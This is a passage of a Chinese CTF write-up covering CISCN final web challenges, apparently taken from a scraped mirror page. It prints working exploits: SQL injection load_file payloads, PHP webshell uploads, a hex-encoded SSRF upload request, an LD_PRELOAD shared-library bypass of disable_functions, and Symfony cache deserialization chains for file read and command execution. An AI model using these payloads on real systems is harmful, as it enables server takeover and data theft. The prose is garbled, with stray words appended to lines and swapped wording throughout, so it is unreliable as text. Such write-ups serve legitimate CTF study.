CISCN final 幾道web題總結

由於都有源碼,因此這裏直接從源碼開始分析:php

1.Easy web

 

這道題原本的意思應該是經過注入來load_file讀取config.php來泄露cookie的加密密鑰,從而僞造身份進行登錄再上傳shellhtml

 

這裏原本addslashes之後就基本無法注入,可是這裏卻多了兩行替換,因此可以繼續注入,python

這裏config過濾可使用16進制或者char編碼繞過:laravel

對於magic_quotes_gpc = on的時候,會過濾引號
能夠經過char,16進制等方式來繞過
例如:
-1 union select 1,2,3,4,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
-1 union select 1,2,3,4,load_file(0x633a2f626f6f742e696e69)

這裏直接僞造cookie,加密解密算法都有:web

而後更改一下cookie,再訪問upload.php進行shell的上傳:算法

這裏獲取上傳的文件,文件的Name 屬性爲name,這裏會對文件名中的php進行過濾,php標籤那麼有三種,<script language="php"></script>,<?=?>(至關於<?php echo ?>),<??>這兩種是短標籤,還有完整的<?php ?>,這裏能夠直接使用<?=繞過便可,好比shell能夠爲<?=`$_GET[1]`;,這裏將文件名寫入到logs/upload.log.php,這裏不推薦直接把執行結果寫到php文件裏,咱們更願意將一個shell添加到php文件中,好比filename=<?=eval($_GET[tr1ple]);?>,用python的requests發個包便可:shell

requests.post(url=url,files={"file":("<?=eval($_GET[tr1ple]);?>","ssssssss")},proxies={"http":"http://127.0.0.1:8080"})

其中字典files中的鍵必須和表單中的name屬性的值相同,也就是php獲取的$_FILE的鍵名同樣,好比這裏面是$_FILES[file],那麼對應的files={‘file’:()}裏面也是file,而後上傳shell之後直接執行讀取/flag便可。api

 2.Markdown Note

這道題要逆向so,太菜了不會,這裏直接略了第一步,利用mlt師傅wp裏面的exp:bash

data='504f5354202f75706c6f61642e70687020485454502f312e310d0a486f73743a203132372e302e302e313a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031302e31333b2072763a36362e3029204765636b6f2f32303130303130312046697265666f782f36362e300d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e380d0a4163636570742d4c616e67756167653a207a682c656e2d55533b713d302e372c656e3b713d302e330d0a526566657265723a20687474703a2f2f3132372e302e302e313a383038302f696e6465782e7068703f6163743d75706c6f61640d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739370d0a436f6e74656e742d4c656e6774683a203234340d0a436f6e6e656374696f6e3a20636c6f73650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c65223b2066696c656e616d653d226c6f676f75742e706870220d0a436f6e74656e742d547970653a20746578742f7068700d0a0d0a3c3f706870200d0a6576616c28245f524551554553545b615d293b0a0d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739372d2d0d0a'.replace('\n','')
data=data.decode('hex')
requests.post(url+'/index.php',data={'debug':"sadfas HTTP/1.1\r\nHOST:localhost\r\nConnection:Keep-Alive\r\n\r\n%s\r\n"%data},timeout=timeout)

16進制解碼以下:cookie

POST /upload.php HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Referer: http://127.0.0.1:8080/index.php?act=upload
Content-Type: multipart/form-data; boundary=---------------------------6693638881479522630623693797
Content-Length: 244
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------6693638881479522630623693797
Content-Disposition: form-data; name="file"; filename="logout.php"
Content-Type: text/php

<?php 
eval($_REQUEST[a]);

-----------------------------6693638881479522630623693797--

上面其實是給upload直接傳遞了一個shell,內容爲<?php eval($_REQUEST[a]);?>,這裏直接經過upload.php的邏輯保存到本地,這裏原本拿到源碼的時候就能夠看到remote_addr限制了127.0.0.1,那麼此時只可以經過ssrf來訪問,進行文件上傳,這裏會以咱們上傳的文件名進行加上.md後綴保存,上面的payload裏filename爲logout.php那麼最後保存成logout.md

而後此時就能夠訪問logout.md,實際上咱們已經有了一個shell,能夠看看flag在哪:

 

這裏有flag但確定是沒權限讀,還有個readflag,猜想經過執行readflag來間接讀取flag,因此確定必須經過系統命令來進行執行readflag,可是有disable_function,phpinfo看一看:

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,
pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,
pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,mail,passthru,exec,system,chroot,chgrp,chown,
shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen

這裏過濾了不少函數,system也用不了,mai也過濾了,因此確定要bypass diables_function,因此這裏常規操做,上傳so,c文件以下:

/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload(char *cmd) {
  char buf[512];
  strcpy(buf, cmd);
 // strcat(buf, " > /tmp/_0utput.txt");
 strcat(buf, " > /tmp/seu.txt");
 system(buf);
}

int  geteuid() {
  char *cmd;
  if (getenv("LD_PRELOAD") == NULL) { return 0; }
  unsetenv("LD_PRELOAD");
  if ((cmd = getenv("_evilcmd")) != NULL) {
    payload(cmd);
  }
  return 1;
}

直接編譯成so,而後上傳便可:

requests.post(url+'/post.php?md=logout.md',data={'a':'move_uploaded_file($_FILES["aaa"]["tmp_name"],"/tmp/seu.so");'},files={"aaa":("filename1", open("seu.so", "rb"))},timeout=2)

這裏要包含咱們的logout.md,由於是咱們的shell,而後執行move_upload_file就能夠上傳成功so文件,通常上傳到/tmp目錄下面,接下來就要進行讀取flag:

這裏使用error_log函數來fork execve,由於它也會調用sendmail,從而劫持geteuid()函數

payload爲:

index.php?act=post&md=logout.md&a=putenv("LD_PRELOAD=/tmp/seu.so");putenv(%27_evilcmd=whoami%27);error_log(%27test%27,1,"","");

_evalcmd就是咱們要執行的系統命令,而後它會保存到/tmp/seu.txt,而後直接讀取便可:

讀取flag只須要將系統命令換成bash -c /readflag便可讀到flag,本地測試一下便可:

 3.Laravel1

又是laravel代碼審計的題目,拿到題目我首先看一下路由信息,能夠看到這裏直接將輸入的信息進行了反序列化,那麼確定考的是反序列化,那麼web的路由就這一條,來反序列化自定義的類確定是不可能的了,通常看路由有兩個地方來看,web.php和api.php,web.php是有狀態的路由,api.php是無狀態的路由,routes文件夾下其實均可以定義路由。

 

 這裏直接找能夠利用的__destruct方法便可,剛纔編輯了一半沒保存==,直接說一下調用鏈:

因此要這裏用$this->pool調用了saveDeferred方法,這個pool確定是個對象,向上看看就知道他是一個實現了Adapterinterface接口的類的對象,這裏就能夠跟其餘的類鏈在了一塊兒,因此只要找到實現了該接口的類,而且這個類裏面存在saveDeffed()就能夠看看裏面有沒有能夠利用的點,或者是找找能夠找找哪些類的__call方法能夠利用,若是沒有saveDeferred(),調用時就會觸發__call方法

這裏直接定位到我找到的知足條件的幾個類,由於這幾個類裏面都實現了接口而且有saveDeferred方法,

ChainAdapter.php

PhpArrayAdapter.php

ProxyAdapter.php

TraceableAdapter.php

ArrayAdapter.php

一個一個分析(先從函數內部邏輯簡單的來,再慢慢排除):

chainadapter.php

 

能夠看到實際上裏面又調用了saveDeferred方法,因此能夠直接略過,由於至關於重複操做。

PhpArrayAdapter.php

在此方法中調用了initialize()方法,可是ctrl+f在此文件沒找到,所以確定是來自父類或者來自trait,這裏能夠利用phpstorm自帶的show disgrams來查看一下類的繼承關係和trait的複用聯繫,而且能夠顯示出每一個文件中的方法:

能夠很明顯的看到其實這裏是調用的PhpArrayTrait的init方法,因此跟進看看:

能夠看到這裏涉及到文件操做,咱們能夠進行文件包含來讀文件,那麼可能存在漏洞的點知道了,咱們向上看看須要知足的條件

這裏我直接貼exp,而後說一下幾個要點:

<?php
namespace Symfony\Component\Cache{
    final class CacheItem{
    }
}
namespace Symfony\Component\Cache\Adapter{
    use Symfony\Component\Cache\CacheItem;
    class PhpArrayAdapter{
        private $file;
        public function __construct()
        {
            $this->file = '/etc/passwd';
        }
    }
    class TagAwareAdapter{
        private $deferred = [];
        private $pool;
        public function __construct()
        {
            $this->deferred = array('tr1ple' => new CacheItem());
            $this->pool = new PhpArrayAdapter();
        }
    }
$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}

首先我序列化的確定是帶有__destruct的TagAwareAdapter類,而後由於有調用$this->pool->saveDefeffed(),因此我在這裏將pool的值賦值爲一個對象,即PhpArrayAdapter類的對象,而這裏savaDefeffed的入口參數是cacheiteminterface的對象,也就是實現了該接口的類的對象,而從文件頭use引入的類中能夠看到cacheitem類,咱們跟進,所以只須要定義$this->deferred = array('tr1ple' => new CacheItem());這裏由於在不一樣的namespace,因此要用{}花括號區別開來,要用到其餘命名空間的類時,直接用use在目前的命名空間內引進就好,這個exp編寫就這麼多要注意的。

而後直接經過payload進行訪問便可。

 

 

 3.ProxyAdapter.php

 這個文件也存在代碼執行,先貼exp:

<?php
namespace Symfony\Component\Cache;
    class CacheItem{
    protected $innerItem = "id";
    protected $poolHash = "tr1ple";
}
namespace Symfony\Component\Cache\Adapter;
use Symfony\Component\Cache\CacheItem;
class TagAwareAdapter
{
    private $deferred;
    public function __construct($x)
    {
        $this->pool = $x;
        $this->deferred=array("1" => new CacheItem());
    }
}
class ProxyAdapter
{
    private $setInnerItem;
    private $poolHash;
    public function __construct()
    {
        $this->setInnerItem = "system";
        $this->poolHash = "tr1ple";
    }
}
$a = new TagAwareAdapter(new ProxyAdapter());
echo urlencode(serialize($a));

這個exp寫起來也不難,只要注意命名空間的路徑對應類是正確的,而後咱們構造的條件到代碼執行以前的代碼都能走通就能觸發rce。

 

system()有第二個參數,這個第二個參數的意思其實是將system(id)的執行結果保存到$c變量,因此這隻能是個變量名,這裏把$c的值直接放進函數裏是不行的,我試了一下把$c變成其它的類型也能夠,因此跟c的變量類型無關。

4.TraceableAdapter.php

這個函數內部又是調用saveDeferred,因此直接略過

 

5.ArrayAdapter.php

    public function save(CacheItemInterface $item)
    {
        if (!$item instanceof CacheItem) {
            return false;
        }
        $item = (array) $item;
        $key = $item["\0*\0key"];
        $value = $item["\0*\0value"];
        $expiry = $item["\0*\0expiry"];

        if (null !== $expiry && $expiry <= microtime(true)) {
            $this->deleteItem($key);

            return true;
        }
        if ($this->storeSerialized && null === $value = $this->freeze($value, $key)) {
            return false;
        }
        if (null === $expiry && 0 < $item["\0*\0defaultLifetime"]) {
            $expiry = microtime(true) + $item["\0*\0defaultLifetime"];
        }

        $this->values[$key] = $value;
        $this->expiries[$key] = null !== $expiry ? $expiry : PHP_INT_MAX;

        return true;
    }

這裏面調用了save方法,可是裏面沒有函數動態函數調用,因此無法利用,賦值不用關心。

相關文章
相關標籤/搜索